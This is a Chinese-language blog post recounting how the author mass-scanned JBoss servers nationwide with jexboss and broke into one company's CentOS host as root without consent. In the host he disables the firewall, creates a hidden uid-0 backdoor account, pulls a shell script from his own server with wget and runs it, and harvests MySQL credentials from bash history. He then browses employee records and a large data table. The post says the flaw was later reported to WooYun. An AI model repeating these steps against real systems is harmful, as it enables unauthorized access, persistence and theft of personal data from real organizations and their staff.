昨天把jexboss指令碼整合到我的多執行緒框架裡，掃了一遍全國jboss，發現一千多個shell.

隨意拿了一個看似大廠商的，作本次入侵測試

發現傳送門

通過jexboss拿到shell，看到是centos的機器(IP已打碼)．

看起來是root，確認一下．

不穩定的傳送門

shell的問題

接下來執行命令的時候，發現這個jexboss自帶的shell很不穩定．出現各種問題，包括但不限於以下兩個嚴重問題：
- 執行有互動的命令時，程式會崩潰退出．比如說：cat命令會正常回顯，但是vi命令會導致shell直接報錯退出．
- 命令錯誤時，無回顯

只好自己再做個穩定的shell

nc的嘗試

看到系統有nc．我想簡單用nc彈個穩定的shell回來，發現我提交的所有nc命令都沒有回顯，且連不上shell．

Py的嘗試

放棄了nc，看看系統有沒有python，結果還是--version沒回顯，但是有-h

然後我又想用py彈個shell回來，用了這段程式碼，發現也沒有成功，有點古怪．

我又執行了一句簡單的print，仍然沒有回顯！

why?

這裡我思考了一下，如果它是因為報錯了才無回顯．那麼能引起報錯的應該是程式碼中( ) ' "等特殊字元在傳輸過程出現了錯誤．

我又用幾個簡單的shell程式碼具體測試了一下，證實猜測：
- 含有' "

這意味著?

這意味著我基本不能通過這個shell執行含有非字母字元的命令了！
不能使用nc，不能使用python，管道，重定向都不行了

SSH的嘗試

看來這個shell基本是廢的．看了下程序，埠，以及iptables防火牆，發現一些針對性的配置，說明還是部署了一些安全防禦的．看到22埠後，我果斷關了防火牆．我新建個使用者，然後外面用ssh連不就OK了麼

於是我新建了一個管理員使用者
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash php

查看了一下/etc/passwd

然後在修改其密碼時
passwd php

沒有回顯！！！
我想起來，這個修改密碼的動作是要使用者互動幾次的．之前說過，執行互動的命令都是報錯退出，沒回顯．．所以又完蛋了

一般ssh都不會允許空密碼連線的，我試了一下，結果像這樣．
ssh: connect to host 183.xxx.xxx.xxx port 22: Connection refused

我檢視下ssh的配置檔案cat /etc/ssh/sshd_config
結果如下：

#   $OpenBSD: sshd_config,v 1.97 2015/08/06 14:53:21 deraadt Exp $

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Port 2525

#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

除了配置檔案裡禁止了空密碼登入外，管理員還把ssh的預設埠改成了2525，可以可以

於是我在配置檔案里加一句話，允許空密碼登入不就OK了麼．

然而我在寫命令時，不能用非字母字元！還不能使用編輯器互動！
vi直接崩，sed不行，echo重定向也不行．．．

穩定的傳送門

根據這個辣雞shell的臊性，看來我是很難往系統裡寫入東西了，於是在外部下載程式碼本地執行總可以的吧，反正有Python了．

wget xxx.xxx.xxx 這個命令沒有特殊字元！應該可以執行

寫了個指令碼掛在我的伺服器上，再從目標機wget到本地．
ls出來的時候，我就炸了！

果斷python shell.py ，看到那個sh-4.1 出來的時候就知道搞定了！

然後改了我建立使用者的密碼，外部ssh連線，傳送門終於穩定下來．

逛逛資料庫

拿到穩定的shell，看看資料庫

試試在命令歷史中尋找相關命令：
cat ~/.bash_history |grep sql

結果如下，果然有貨

不費吹灰之力進了資料庫：

mysql裡面的命令列對我來說早就輕車熟路

use information_schema

select table_name,table_rows from tables where TABLE_SCHEMA = 'cloudcompany' order by table_rows desc;

管理員表：

都是員工資料(216條資料)，來看一條：

挑一些有用的看看：

另外一個表(30W資料)：

結語

看來資料庫沒太多東西．邊做邊寫文章效率太低，已經工作快四個小時了，內網什麼的不做了，交漏洞走人！

注：本文已遮蔽所有敏感資料，僅供技術交流，該入侵事件已提交烏雲漏洞平臺．

轉載請註明出處，並告知本人
mail: [email protected]